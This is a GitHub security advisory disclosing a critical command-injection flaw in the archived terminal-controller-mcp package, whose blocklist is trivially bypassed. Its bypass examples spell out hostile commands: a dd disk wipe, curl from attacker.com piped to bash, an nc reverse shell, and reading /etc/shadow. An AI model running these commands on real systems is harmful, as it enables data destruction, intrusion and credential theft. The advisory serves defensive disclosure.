Skip to content

Trivial RCE via unrestricted shell execution — blocklist bypass [GongRzhe/terminal-controller-mcp]

Critical
piiiico published GHSA-cxfq-m8pm-2v22 Apr 11, 2026

Package

pip terminal-controller-mcp (pip)

Affected versions

>= 0

Patched versions

None

Description

Affected Repository

https://github.com/GongRzhe/terminal-controller-mcp

Severity

CRITICAL (CVSS 9.8)

Early Publication Notice

This advisory is published early (before 90-day deadline) per responsible disclosure policy because:

  1. The repository is archived (since 2026-03-03) — no maintainer is actively developing patches
  2. The maintainer (gongrzhe@gmail.com) was notified on 2026-04-11 as a courtesy
  3. No patch is possible for an archived repository
  4. Users need immediate warning to stop using this package

Vulnerability Details

The execute_command() function in terminal_controller.py (lines 103-119) passes raw user input directly to asyncio.create_subprocess_shell(shell=True). The only protection is a naive blocklist of strings like rm -rf / and mkfs, which is trivially bypassed.

Technical Analysis

# terminal_controller.py lines 103-119 (approximate)
async def execute_command(command: str) -> str:
    BLOCKLIST = ["rm -rf /", "mkfs"]  # trivially bypassed
    if any(blocked in command for blocked in BLOCKLIST):
        return "Command blocked"
    proc = await asyncio.create_subprocess_shell(
        command,  # raw user input passed to shell
        shell=True,  # critical: enables shell interpretation
        ...
    )

Bypass Examples

  • dd if=/dev/zero of=/dev/sda — disk wipe, not in blocklist
  • curl http://attacker.com/shell.sh | bash — remote code execution
  • nc -e /bin/sh attacker.com 4444 — reverse shell
  • cat /etc/shadow — credential theft
  • python3 -c "import os; os.system(open(chr(47)+tmp+chr(47)+x).read())" — indirect execution

Impact

Full RCE on the MCP server host. Any user or AI agent with access to this MCP server can execute arbitrary commands on the host system. The blocklist provides zero meaningful security.

Affected Version

All versions (repository archived, no fix will be released)

Remediation

Stop using this package immediately. The repository is archived and will not receive patches.

If you need terminal access via MCP, consider alternatives that implement proper sandboxing (containers, seccomp profiles, allowlists).

Disclosure Timeline

  • 2026-04-11: Discovered during MCP security audit
  • 2026-04-11: GHSA draft created, maintainer notified via email
  • 2026-04-11: Early publication — repo archived, no fix possible

References

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

Credits